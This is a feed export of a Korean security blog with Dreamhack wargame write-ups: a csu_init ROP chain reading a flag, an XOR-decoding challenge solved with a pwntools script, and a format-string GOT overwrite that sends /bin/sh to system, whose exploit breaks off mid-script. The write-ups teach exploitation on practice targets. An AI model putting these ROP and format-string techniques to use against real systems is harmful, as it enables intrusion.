sended += 1

p.send(b'\x00' * (0x80-sended))
sended = 0x80
p.send(b'flag\x00')
sended += len(b'flag\x00')
p.send(b'\x00' * (0x100 - sended))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(0))
p.send(p64(writeGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(3))
p.send(p64(readGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0))
p.send(p64(0))
p.send(p64(0x601040 + 0x80))
p.send(p64(openGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.send(p64(caller))
p.send(p64(0x100))
p.send(p64(0x601020))
p.send(p64(3))
p.send(p64(closeGot))
p.send(p64(1))
p.send(p64(0))
p.send(p64(setter))

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, setter는 순차적으로 rbx, rbp, r12, r13, r14, r15를 pop하고 ret하는 __libc_csu_init이며, caller는 rdi=r13, rsi=r14, rdx = r15, call r12+rbx*8을 하는 __libc_csu_init이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;8. 느낀점 및 교훈&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그간 문제를 풀며 쉘을 따는 것에 집중을 해왔기에 습관적으로 flag만 얻으면 되는 문제에서 쉘을 얻으려 하고 있었다. 이는 내가 생각할 수 있는 범위에 제약을 걸었고, 기본적인 쉘코드(?)에서 사용하는 read write 체인을 생각해내지 못하게 하였다. 스스로에게 제약을 걸고 시작하니, 더 창의적인 아이디어도 나오지 못했고, 한 곳에 치중되게되었다. 쉘을 따는 것이 중요하긴 하지만, 문제의 목적에 맞게 문제를 풀어가는 것이 중요할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- csu_init이 있다는 것만 알고 사용해본 것은 이번이 처음이다. gadget을 보고 pop rdi; ret만 있다고 생각하게 되었지만, 문제에 있는 모든 명령어는 사용 가능하나는 사실을 다시한번 느끼게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 몇일을 고민해도 안나오던 해결책이 군 선임이 AI가 못푸나 하고 한번 돌려본 후 바로 풀리는 것을 보고 약간의 현타를 느꼈다. 아직 내가 많이 부족하구나라는 것을 느꼈고, 더 공부하고 경험을 쌓아야한다라는 생각이 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- AI에게 도움을 받아 문제를 푸는 것은 내 공부가 아니라고만 생각했다. 하지만, AI에게 도움을 받고 이게 왜 작동하지 라는 것을 분석하고 디버깅해보며 도움을 받는 것도 공부가 되는 구나라는 것을 느꼈다. 허나, 문제를 풀기 위해 지금껏 고민하고 디버깅한 후 AI가 제시한 해결책을 받아보아 그런 것이었다고 나는 생각한다. AI에게만 의존하여 문제를 푸는 것은 내 공부가 아니라는 것에 대한 생각은 여전하나 정말 안풀릴때에는 사용해봐도 좋을 것 같다는 생각이 든다. 허나, 내가 어느정도 풀었을 때 도움을 받아야하는지에 대한 기준이 아직 없고, 스스로 풀었을 때 오는 그 기분 좋은 감정도 훨씬 덜하기에 여전히 AI의 도움을 덜 받고 문제 푸는 것이 목표이다.&lt;/p&gt;</description>
      <category>보안/시스템해킹</category>
      <category>DreamHack</category>
      <category>dreamvm</category>
      <category>pwnable</category>
      <category>드림핵</category>
      <category>바이너리</category>
      <category>시스템해킹</category>
      <category>포너블</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/35</guid>
      <comments>https://code-learn-ing.tistory.com/35#entry35comment</comments>
      <pubDate>Sat, 18 Jul 2026 08:56:03 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack][암호학] 집가고시프다</title>
      <link>https://code-learn-ing.tistory.com/34</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/3021&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/3021&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 다운로드하여보면 구성은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;50&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0ANyF/dJMcafm2UiF/14sIEvavPAgKQY0zZhrPoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0ANyF/dJMcafm2UiF/14sIEvavPAgKQY0zZhrPoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0ANyF/dJMcafm2UiF/14sIEvavPAgKQY0zZhrPoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0ANyF%2FdJMcafm2UiF%2F14sIEvavPAgKQY0zZhrPoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;426&quot; height=&quot;50&quot; data-origin-width=&quot;426&quot; data-origin-height=&quot;50&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 보니 일반 pwnable이랑 구성이 비슷하다. chall 파일이 있고, flag.txt가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chall.enc를 읽어보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;521&quot; data-origin-height=&quot;772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bB42Pc/dJMcadvP2Lq/KSAs9nQcaPikqE2uV7mQ5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bB42Pc/dJMcadvP2Lq/KSAs9nQcaPikqE2uV7mQ5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bB42Pc/dJMcadvP2Lq/KSAs9nQcaPikqE2uV7mQ5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbB42Pc%2FdJMcadvP2Lq%2FKSAs9nQcaPikqE2uV7mQ5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;548&quot; data-origin-width=&quot;521&quot; data-origin-height=&quot;772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와.... 이거 쉽지 않다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;hint.txt를 보면 다음과 같이 쓰여있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;X or going_to_home&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 뭘까... 곰곰이 생각해 보니&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;X or going_to_home&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Xor going_to_home&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xor &quot;going_to_home&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 chall.enc를 going_to_home으로 xor 해보겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1783811669509&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;data = open(&quot;chall.enc&quot;, &quot;rb&quot;).read()
key = b&quot;going_to_home&quot;
key = (key * (len(data) // len(key) + 1))[:len(data)]

print(bytes(a ^ b for a, b in zip(data, key)).decode())&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;817&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/begqh5/dJMcag7eYme/BZYgccHOuW34MtSLUohKtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/begqh5/dJMcag7eYme/BZYgccHOuW34MtSLUohKtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/begqh5/dJMcag7eYme/BZYgccHOuW34MtSLUohKtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbegqh5%2FdJMcag7eYme%2FBZYgccHOuW34MtSLUohKtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;677&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;817&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오 뭔가 cpp 같은 코드가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 cpp파일로 옮긴 후 분석을 해보겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1783811751073&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void read_flag(){
    ifstream itzfile(&quot;flag.txt&quot;);
    string flag;
    if(itzfile.is_open()){
        getline(itzfile,flag);
    }
    cout&amp;lt;&amp;lt;flag;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 보여주는 것은 여기 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 호출하는 함수는&lt;/p&gt;
&lt;pre id=&quot;code_1783811779703&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void going_out(int n){
    if(n!=1){
        cout&amp;lt;&amp;lt;&quot;hack detected! terminating...&quot;;
        return;
    }
    cout&amp;lt;&amp;lt;&quot;i checked who you are. you need to pass the test\n&quot;;
    int a;
    random_device rd;
    mt19937 gen(rd());
    uniform_int_distribution&amp;lt;int&amp;gt; distrib(10000,100000);
    int door=distrib(gen);
    cout&amp;lt;&amp;lt;&quot;type &quot;&amp;lt;&amp;lt;door&amp;lt;&amp;lt;&quot;\n&quot;;
    cin&amp;gt;&amp;gt;a;
    if(a==door){
        cout&amp;lt;&amp;lt;&quot;bye! i'll give you a key~\n&quot;;
        read_flag();
        return;
    }
    cout&amp;lt;&amp;lt;&quot;say the number!&quot;;
    //breaking bad reference
    return;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기 있고, 이를 호출하는 함수는&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1783811796920&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int main(){
    signal(SIGALRM,yaza_end);
    alarm(5);
    string a;
    random_device rd;
    mt19937 gen(rd());
    uniform_int_distribution&amp;lt;int&amp;gt; distrib(1,10);
    cout&amp;lt;&amp;lt;&quot;어서 자신의 집가고시픔을 어필해 주세요!\n\n&quot;;//zip gagohipheum
    int auth=0;
    while(1){
        getline(cin,a);
        int luck=distrib(gen);
        if(luck==1)cout&amp;lt;&amp;lt;&quot;응 안돼 돌아가\n&quot;;//return 0
        else if(luck==2)cout&amp;lt;&amp;lt;&quot;되겠냐?\n&quot;;//yey!
        else if(luck==3)cout&amp;lt;&amp;lt;&quot;집중 공부 실시\n&quot;;//shihumgigan
        else if(luck==4)cout&amp;lt;&amp;lt;&quot;아따 이러고 자빠졌네잉~\n&quot;;//i fall down
        else if(luck==5)cout&amp;lt;&amp;lt;&quot;얼마 줄건데~~~\n&quot;;//u-chi
        else if(luck==6){
            if(a.compare(0,3,&quot;key&quot;)==0){
                cout&amp;lt;&amp;lt;&quot;it's a &quot;;//noice grammer~
                auth++;
            }
            cout&amp;lt;&amp;lt;&quot;random text6\n&quot;;
        }
        else if(luck==7)cout&amp;lt;&amp;lt;&quot;6번과 10번에서 내가 바로 대답하지 않은 이유는 당연해서가 아니다\n&quot;;
        else if(luck==8)cout&amp;lt;&amp;lt;&quot;참고로 이거 java로 썼다\n&quot;;//hutsori
        else if(luck==9)cout&amp;lt;&amp;lt;&quot;헛소리 집어치워!\n&quot;;//hutsori2
        else if(luck==10){
            if(a.compare(0,10,&quot;secretcode&quot;)==0 &amp;amp;&amp;amp; auth==1){
                going_out(auth);
                return 0;
            }else{
                cout&amp;lt;&amp;lt;&quot;나갈 기회는 충분하다!\n&quot;;//or not?
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;going_out함수를 보면, 10000~100000이 uniform 분포로 door에 설정되고 door를 타이핑하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;going_out함수를 실행하는 부분을 보면, 입력이 secretcode여야 하며, auth는 1이어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;auth를 1로 하는 부분은 luck이 6일 때 입력이 key여야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 정리하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;luck이 6일 때, 입력이 &quot;key&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;luck이 10일 때, 입력이 &quot;secretcode&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;type {n}이 출력되면, 입력이 &quot;{n}&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하면 flag가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 python 코드로 작성하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1783811970495&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;host3.dreamhack.games&quot;, 23162)

p.recvuntil(&quot;어서 자신의 집가고시픔을 어필해 주세요!\n\n&quot;)

# luck이 랜덤이기에 6이 나올 때까지 반복
six_detected = False
while(not six_detected):
    p.sendline(b&quot;key&quot;)

    response = p.recvline().decode()
	# luck이 6일때 나오는 텍스트
    if(response == &quot;it's a random text6\n&quot;):
        six_detected = True

# 마찬가지로 luck이 랜덤이기에 10이 나올 때까지 반복
ten_detected = False
while(not ten_detected):
    p.sendline(b&quot;secretcode&quot;)

    response = p.recvline().decode()
	# luck이 10일때 나오는 텍스트
    if(response == &quot;i checked who you are. you need to pass the test\n&quot;):
        ten_detected = True

# 형식이 &quot;type {n}&quot;임
typeNumber = p.recvline().decode().split(&quot;type &quot;)[1]

p.send(f&quot;{typeNumber}&quot;.encode())

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같고,&amp;nbsp;이를 실행하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/txqsl/dJMcadvP2Ql/bvLbHv4UMiliAPJO6X173K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/txqsl/dJMcadvP2Ql/bvLbHv4UMiliAPJO6X173K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/txqsl/dJMcadvP2Ql/bvLbHv4UMiliAPJO6X173K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftxqsl%2FdJMcadvP2Ql%2FbvLbHv4UMiliAPJO6X173K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;110&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 얻을 수 있다.&lt;/p&gt;</description>
      <category>보안/암호학</category>
      <category>Crypto</category>
      <category>DreamHack</category>
      <category>pwn</category>
      <category>드림핵</category>
      <category>암호학</category>
      <author>playalone</author>
      <guid isPermaLink="true">https://code-learn-ing.tistory.com/34</guid>
      <comments>https://code-learn-ing.tistory.com/34#entry34comment</comments>
      <pubDate>Sun, 12 Jul 2026 08:25:14 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 해킹][Dreamhack] string</title>
      <link>https://code-learn-ing.tistory.com/33</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;[문제링크](&lt;a href=&quot;https://dreamhack.io/wargame/challenges/68&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/68&lt;/a&gt;)&lt;/p&gt;
&lt;figure id=&quot;og_1783724523037&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;로그인 | Dreamhack&quot; data-og-description=&quot;&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/68&quot; data-og-url=&quot;https://dreamhack.io/users/login?after=/wargame/challenges/68&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/68&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/68&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;로그인 | Dreamhack&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제는 다음과 같다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 c코드를 살펴본다.&lt;/p&gt;
&lt;pre id=&quot;code_1783724588261&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;void input(char *buf) {
	printf(&quot;Input: &quot;);
	read(0, buf, 255);
}

void print(char *buf) {
	warnx(buf);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;warnx는 printf와 같이 작동한다고 하는데 buf를 직접 하고 있으니 FSB가 가능할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트를 해보자&lt;/p&gt;
&lt;pre id=&quot;code_1783724719152&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./string
1. Input
2. Print
3. Exit
&amp;gt; 1
Input: aaaa %p %p %p %p %p %p %p %p
1. Input
2. Print
3. Exit
&amp;gt; 2
string: aaaa 0xfff46278 0x804881f 0xfff46174 0x2 0x61616161 0x20702520 0x25207025 0x70252070&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;%p의 5번째부터 buf가 존재한다는 것을 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 시나리오 브레인스토밍&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시나리오를 작성해 보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각나는 방법이 몇 개 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. bof : canary가 존재하지 않고, ASLR도 존재하지 않는 것으로 보아, input함수에서 buf의 위치에 /bin/sh를 넣고 그다음 위치에 ret의 주소를 넣는다라고 하면, ret가 된 후 print가 실행될 때 ret는 기존 코드 흐름상의 주소로 되어있으며, print함수 중에 수정이 불가하기 때문에 bof는 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. GOT overwrite : 문제의 필수 유닛에 포함되어 있으며, input함수에서 buf를 저장한 메모리 값을 /bin/sh로 바꾸고, 그다음 값을 warnx의 got주소로 한다면, %7$p의 위치엔 warnx의 got가 있을 것이기 때문에 이 값을 system으로 바꾸게 되면, print함수가 실행될 때 system함수에 인자가 /bin/sh가 들어가게 된다는 가정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 시나리오: GOT overwrite&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 가능 여부 판단&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main함수를 보면&lt;/p&gt;
&lt;pre id=&quot;code_1783725657403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int main() {
	int idx;
	char buf[256];

	initialize();

	memset(buf, 0, sizeof(buf));

	while(1) {
		printf(&quot;1. Input\n&quot;);
		printf(&quot;2. Print\n&quot;);
		printf(&quot;3. Exit\n&quot;);
		printf(&quot;&amp;gt; &quot;);

		scanf(&quot;%d&quot;, &amp;amp;idx);
		switch(idx) {
			case 1:
				input(buf);
				break;
			case 2:
				print(buf);
				break;
			default:
				break;
		}
	}
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx가 1일 때 input, 2일 때 print함수가 실행된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어셈블리를 살펴보면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuL8vh/dJMcaiKIIHd/p0kXk0aAPqi3ty9TSPlXS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuL8vh/dJMcaiKIIHd/p0kXk0aAPqi3ty9TSPlXS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuL8vh/dJMcaiKIIHd/p0kXk0aAPqi3ty9TSPlXS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuL8vh%2FdJMcaiKIIHd%2Fp0kXk0aAPqi3ty9TSPlXS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;378&quot; height=&quot;150&quot; data-origin-width=&quot;378&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ebp-0x104가 buf임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main함수에서 2를 입력하면 warnx(buf)가 실행되는데 이를 system(buf)로 하여 system(&quot;/bin/sh&quot;)로 실행시키는 것이 목표이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, 초기 코드를 작성할 때에는 &quot; &quot;로 모든 문자를 payload에 추가하려 했기 때문에 hhn을 사용하여 이후까지 계속 hhn을 사용하였으나, %hn정도를 사용했어도 괜찮았을 것 같다는 생각이 지금 와서 들긴 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, hhn과 hn을 비교하면, 최대 약 256배 정도 console에 출력되는 시간이 더 있었을 것이기 때문에 오랜만에 pwnable을 다시 하는 입장에서 gdb를 프로세스에 붙여 디버깅하기 수월하지 않았나 생각한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;러프하게 payload를 구성하면, /bin/sh;[wanxGotAddress] [wanxGotAddress+1] [wanxGotAddress+2] [wanxGotAddress+3] [FSB 공격 페이로드] 가된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, /bin/sh뒤에 \x00이 아닌 ;을 넣는 이유는 \x00를 문자열의 끝으로 인식하여 뒤의 %hhn이 인식되지 않아 FSB가 작동하지 않을 것이기 때문에 /bin/sh와 뒤 페이로드를 확실히 구분하며, linux명령어상에서도 문제가 되지 않는 ';'를 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후, main함수에서 1로 input함수를 실행시켜 buf에 payload를 넣고, 2로 FSB를 일으켜 warnx를 system으로 변조하고 2를 다시 입력해 system(&quot;/bin/sh&quot;)를 실행시키면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때, /bin/sh;는 총 8바이트를 차지하기 때문에 4바이트씩 읽게 되는 %{n}$hhn에서는 %5$hhn에 두 개의 슬롯에 채워진 후, 다음 인자인 got overwrite는 %7$hhn을 시작으로 %10$hhn을 까지 페이로드에 작성됨을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 작성한 exploit 코드는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1783753025219&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = process(&quot;./string&quot;)
e = ELF(&quot;./string&quot;)
ld = ELF(&quot;./libc.so.6&quot;, checksec=False)

warnxGOTAddress = e.got[&quot;warnx&quot;]

def send(n, text=&quot;&quot;):
    p.sendlineafter(b&quot;&amp;gt; &quot;, str(n).encode())
